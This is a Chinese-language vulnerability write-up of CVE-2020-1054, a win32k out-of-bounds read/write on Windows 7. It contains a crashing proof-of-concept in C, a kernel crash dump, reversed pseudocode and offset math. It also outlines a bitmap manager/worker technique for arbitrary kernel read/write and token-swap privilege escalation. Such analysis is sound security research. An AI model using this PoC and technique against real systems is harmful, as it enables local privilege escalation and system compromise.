0%

CVE-2020-1054 堆越界读写

基本信息#

  • 漏洞类型:内存越界读写漏洞
  • 漏洞位置:win32k!vStrWrite01+0x36a

PoC 分析#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <Windows.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
LoadLibraryA("user32.dll");
HDC r0 = CreateCompatibleDC(0x0); // 创建一个与指定设备兼容的内存设备上下文环境(DC)
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa); // 创建与指定的设备环境相关的设备兼容的位图
SelectObject(r0, r1); // 选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc, 0x0, 0x0, 0x6);
/*
描绘一个图标或鼠标指针。与DrawIcon相比,这个函数提供了更多的功能 非零表示成功,零表示失败。会设置GetLastError
.参数 hdc, 整数型, 要在其中画图的一个设备场景的句柄
.参数 xLeft, 整数型, 图标左上角的位置,用逻辑坐标表示
.参数 yTop, 整数型, 同上
.参数 hIcon, 整数型, 要描绘的图标的句柄
.参数 cxWidth, 整数型, 希望的图标宽度和高度。图标会自动缩放,与指定的值相符
.参数 cyWidth, 整数型, 同上
.参数 istepIfAniCur, 整数型, , 如果hIcon是个动画指针,那么该参数指定描绘动画中的哪幅图象。注意Win32不能区分图标和指针
.参数 hbrFlickerFreeDraw, 整数型, 如设为一个刷子句柄,那么函数会将图标画入一幅内存位图,并用背景色填充。随后,将图象直接复制到指定的位置。这样做可绘图时减少闪烁(因为画图过程中重现)
.参数 diFlags, 整数型, , 下述常数之一:
DI_COMPAT:描绘标准的系统指针,而不是指定的图象
DI_DEFAULTSIZE:忽略cxWidth和cyWidth设置,并采用原始的图标大小
DI_IMAGE:绘图时使用图标的XOR部分(即图标没有透明区域)
DI_MASK:绘图时使用图标的MASK部分(如单独使用,可获得图标的掩模)
DI_NORMAL:用常规方式绘图(合并 DI_IMAGE 和 DI_MASK)
*/
return 0;
}

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff900c1f7b000 rbx=0000000000000000 rcx=fffff901c1f7b238
rdx=fffff900c00d7420 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600012218a rsp=fffff88006083bd0 rbp=0000000000000000
r8=0000000000000020 r9=fffff96000080000 r10=fffff88006083c30
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
win32k!vStrWrite01+0x36a:
fffff960`0012218a 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=????????
Resetting default scope

STACK_TEXT:
fffff880`06083168 fffff800`03fb8d92 : fffff901`c1f7b238 fffffa80`028abb60 00000000`00000065 fffff800`03f0d178 : nt!RtlpBreakWithStatusInstruction
fffff880`06083170 fffff800`03fb9b7e : fffff880`00000003 fffff880`06083a40 fffff800`03f0da20 fffff880`060837d0 : nt!KiBugCheckDebugBreak+0x12
fffff880`060831d0 fffff800`03ed1744 : 00000000`00000000 fffff8a0`02320674 fffff8a0`00020019 fffff800`03edb13d : nt!KeBugCheck2+0x71e
fffff880`060838a0 fffff800`03e7bc6f : 00000000`00000050 fffff901`c1f7b238 00000000`00000000 fffff880`06083a40 : nt!KeBugCheckEx+0x104
fffff880`060838e0 fffff800`03ecf76e : 00000000`00000000 fffff901`c1f7b238 00000000`00000000 00000000`00000000 : nt! ?? ::FNODOBFM::`string'+0x44891
fffff880`06083a40 fffff960`0012218a : fffff880`06084130 fffff960`00132ce5 fffff880`060847a8 fffff960`00106391 : nt!KiPageFault+0x16e
fffff880`06083bd0 fffff960`0011fce6 : fffff900`c0081000 fffff900`c00d7420 fffff900`c1f7b000 fffff880`06084130 : win32k!vStrWrite01+0x36a
fffff880`06083c80 fffff960`00121dd7 : fffff900`c1f7b018 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBltNew+0x164a
fffff880`06084210 fffff960`0026914e : 00000000`00000000 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBlt+0x797
fffff880`06084340 fffff960`00266b33 : fffff900`c1f7b018 fffff900`c06ac018 00000000`00000000 fffff880`060844f0 : win32k!EngStretchBltROP+0x5fe
fffff880`06084470 fffff960`0026613f : fffff900`c00c0010 00000000`00000000 00000000`00000001 fffff900`00000000 : win32k!BLTRECORD::bStretch+0x623
fffff880`060845c0 fffff960`0017d06f : fffff900`c00b4160 00000000`0c01022d 00000000`00000000 000007fe`fd705000 : win32k!GreStretchBltInternal+0xa37
fffff880`06084860 fffff960`0017d485 : 00000000`00000000 00000000`febffffc fffff900`c00b4160 00000000`00000000 : win32k!BltIcon+0x18f
fffff880`06084910 fffff960`0015693d : 00000000`0c01022d fffff880`00000000 00000000`00000000 00000000`00000000 : win32k!DrawIconEx+0x3b1
fffff880`060849f0 fffff800`03ed08d3 : fffffa80`028abb60 00000000`0013fa38 fffff880`06084a88 00000000`0c01022d : win32k!NtUserDrawIconEx+0x14d
fffff880`06084a70 00000000`76e5526a : 00000000`76e551ff 00000000`00000000 00000000`770b5628 00000000`00340000 : nt!KiSystemServiceCopyEnd+0x13
00000000`0013fa18 00000000`76e551ff : 00000000`00000000 00000000`770b5628 00000000`00340000 00000000`00000001 : USER32!NtUserDrawIconEx+0xa
00000000`0013fa20 00000001`3f2e1075 : 00000000`0c01022d 00000000`00000000 00000000`00000000 00000000`00000000 : USER32!DrawIconEx+0xd9
00000000`0013fae0 00000000`0c01022d : 00000000`00000000 00000000`00000000 00000000`00000000 00000001`00000000 : poc!main+0x75 [c:\users\ycdxsb\desktop\poc\poc\poc.cpp @ 14]
00000000`0013fae8 00000000`00000000 : 00000000`00000000 00000000`00000000 00000001`00000000 00000001`febffffc : 0xc01022d


SYMBOL_NAME: win32k!vStrWrite01+36a

IMAGE_VERSION: 6.1.7601.17514

STACK_COMMAND: .thread ; .cxr ; kb

FAILURE_BUCKET_ID: X64_0x50_win32k!vStrWrite01+36a

OS_VERSION: 7.1.7601.17514

BUILDLAB_STR: win7sp1_rtm

OSPLATFORM_TYPE: x64

OSNAME: Windows 7

FAILURE_ID_HASH: {f2899406-e264-20bf-8eba-e41d212357e9}

Followup: MachineOwner

问题在于Win32k!vStrWrite01+0x36a处,寄存器值发生了错误。

image-20200721103105049

image-20200721104042298

可以看到在崩溃处有tmp = *destAddr,同时后面还有*destAddr = tmp的操作,中间有对tmp进行修改,如果控制了崩溃处的destAddr(越界地址oobAddr),那么可以在后面进行内存破坏。

越界写分析#

利用原语:

  1. tmp = *destAddr:地址读
  2. *destAddr = tmp :地址写

地址计算:

vStrWrite01(struct STRRUN *pStrrun, struct XRUNLEN *a2,struct SURFACE *pSurface, struct CLIPOBJ *a4)

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _STRRUN
{
LONG yPos;
LONG cRep;
XRUNLEN xrl;
} STRRUN;

typedef struct _XRUNLEN
{
LONG xPos;
LONG cRun;
LONG aul[1];
} XRUNLEN;

地址读时的oobAddr值:

1
2
3
4
oobAddr= result + 4 * (pStrrun->xrl.xPos >> 5);

result = pSurface->SurfObj.pvScan0 + offset;
offset = pStrrun.yPos * pSurface->SurfObj.lDelta;

地址写时的oobAddr值:

1
2
3
oobAddr= result + 4 (pStrrun->xrl.xPos >> 5)
+ diff;
diff = loopCount * pSurface->SurfObj.lDelta

函数大致流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
while(){
do{

destAddr = result + 4 * (pStrrun->xrl.xPos >> 5); //读取时的oobAddr
....
tmp = *destAddr // crash

do{

if(){
tmp |= xxxxxx
}else{
tmp &= xxxxxx
}

}while()

if(){ // 满足条件时,写入
*destAddr = tmp; //写入时的oobAddr
}
}while()
result += pSurface->SurfObj.lDelta; //每次循环oobAddr会增加
}

影响读写oobAddr值的有pStrrun->yPospStrrun->xrl.xPospSurface->SurfObj.lDelta以及循环次数loopCount,可以通过逆向获得具体关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DrawIconEx(exploit_dc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
/*
描绘一个图标或鼠标指针。与DrawIcon相比,这个函数提供了更多的功能 非零表示成功,零表示失败。会设置GetLastError
.参数 hdc, 整数型, 要在其中画图的一个设备场景的句柄
.参数 xLeft, 整数型, 图标左上角的位置,用逻辑坐标表示
.参数 yTop, 整数型, 同上
.参数 hIcon, 整数型, 要描绘的图标的句柄
.参数 cxWidth, 整数型, 希望的图标宽度和高度。图标会自动缩放,与指定的值相符
.参数 cyWidth, 整数型, 同上
.参数 istepIfAniCur, 整数型, , 如果hIcon是个动画指针,那么该参数指定描绘动画中的哪幅图象。注意Win32不能区分图标和指针
.参数 hbrFlickerFreeDraw, 整数型, 如设为一个刷子句柄,那么函数会将图标画入一幅内存位图,并用背景色填充。随后,将图象直接复制到指定的位置。这样做可绘图时减少闪烁(因为画图过程中重现)
.参数 diFlags, 整数型, , 下述常数之一:
DI_COMPAT:描绘标准的系统指针,而不是指定的图象
DI_DEFAULTSIZE:忽略cxWidth和cyWidth设置,并采用原始的图标大小
DI_IMAGE:绘图时使用图标的XOR部分(即图标没有透明区域)
DI_MASK:绘图时使用图标的MASK部分(如单独使用,可获得图标的掩模)
DI_NORMAL:用常规方式绘图(合并 DI_IMAGE 和 DI_MASK)
*/
  • pStrrun->yPos:与DrawIconEx中的arg3和arg6有关

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    #include<stdio.h>
    int main(){
    int arg3 = 0xb;
    int arg6 = 0xffe00000;
    int yPos = 0;
    int remainder_count = 0;
    int quotient_count = 0;
    int mod_num = (arg3+1-(arg6+arg3+1)) % 0x20;
    int div_num = (arg3+1-(arg6+arg3+1))/ 0x20;
    if(0xf+mod_num>=0x20){
    remainder_count = mod_num;
    quotient_count = div_num+1;
    yPos = (remainder_count-1-1)*(div_num+1) \
    + div_num +arg6 + arg3+1;
    }else{
    remainder_count = mod_num;
    quotient_count = div_num;
    yPos = (0x20-1-1)*div_num+arg6+arg3+1;
    }
    printf("arg3: 0x%x\n",arg3);
    printf("arg6: 0x%x\n",arg6);
    printf("yPos First: 0x%x\n",yPos);
    printf("yPos Second: 0x%x\n",(yPos+quotient_count));
    return 0;
    }
  • pStrrun->xrl.xPos:0x900

    • DrawIconEx中的arg2
  • pSurface->SurfObj.lDelta:0xa2a0

    • cx/8,cx为CreateCompatibleBitmap中的arg2,也就是0x51500
    • CreateCompatibleBitmap(exploit_dc, 0x51500, 0x100);
  • loopCount:0xb

    • DrawIconEx中的arg3

地址读时的oobAddr:

1
2
3
4
oobAddr= result + 4 * (pStrrun->xrl.xPos >> 5);

result = pSurface->SurfObj.pvScan0 + offset
offset = pStrrun.yPos * pSurface->SurfObj.lDelta;

地址写时的oobAddr:

1
2
oobAddr= result + 4 (pStrrun->xrl.xPos >> 5)
+ loopCount * pSurface->SurfObj.lDelta;

此时条件为:

  1. 已有漏洞分配的BITMAP1,地址为addr

  2. 可控制oobAddr读时的地址 addr + offset

  3. 可控制oobAddr写时的地址 addr + offset + diff(diff = 0xa2a0 * 0xb = 0x6fce0)

Exploit 在相对于漏洞内核对象偏移0x100000000+0x358处进行内存读取,然后在最后一次循环时在0x100000000+0x70038处写入内容,分配的BITMAP大小为0x7000

image-20210513114748217

4字节地址读写到任意地址读写#

12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _SURFOBJ64 { pvScan0偏移0x38
ULONG64 dhsurf; // +8
ULONG64 hsurf; // +8
ULONG64 dhpdev; // +8
ULONG64 hdev; // +8
SIZEL sizlBitmap; // +8
ULONG64 cjBits; // +8
ULONG64 pvBits; // +8
ULONG64 pvScan0;
LONG32 lDelta;
ULONG32 iUniq;
ULONG32 iBitmapFormat;
USHORT iType;
USHORT fjBitmap;

void operator=(const SURFOBJ32 &surf )
{
dhsurf = surf.dhsurf;
hsurf = surf.hsurf;
dhpdev = surf.dhpdev;
hdev = surf.hdev;
sizlBitmap = surf.sizlBitmap;
cjBits = surf.cjBits;
pvBits = surf.pvBits;
pvScan0 = surf.pvScan0;
lDelta = surf.lDelta;
iUniq = surf.iUniq;
iBitmapFormat = surf.iBitmapFormat;
iType = surf.iType;
fjBitmap = surf.fjBitmap;
}

} SURFOBJ64;
1
2
3
4
5
6
7
typedef struct tagSize
{
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;

typedef SIZE SIZEL;
1
Specifies a SIZEL structure that contains the width and height, in pixels, of the bitmap. A SIZEL structure is identical to a SIZE structure.

SIZEL sizlBitmap,是限定位图的长宽的,即存储Pixel Data的长宽大小,四字节写也就表明可以修改Pixel Data的大小(cx或者cy)

image-20210513115659924

利用过程

  • CreateCompatibleBitmap申请VulBITMAP,并获得VulBITMAP的内核地址
  • 计算oob读写地址
  • 在oob读地址处申请BITMAP1,在oob写处申请BITMAP2,大小为0x7000
  • 触发漏洞,读取BITMAP1中的sIzlBitmap值,修改BITMAP2对象的sizlBitmap值,对BITMAP2使用SetBitmapBits和GetBitmapBits越界读写BITMAP3的pvScan0
  • BITMAP2作为Manager,BITMAP3作为worker,实现任意读写,替换token等提权

3

参考链接#

坚持原创技术分享,您的支持将鼓励我继续创作!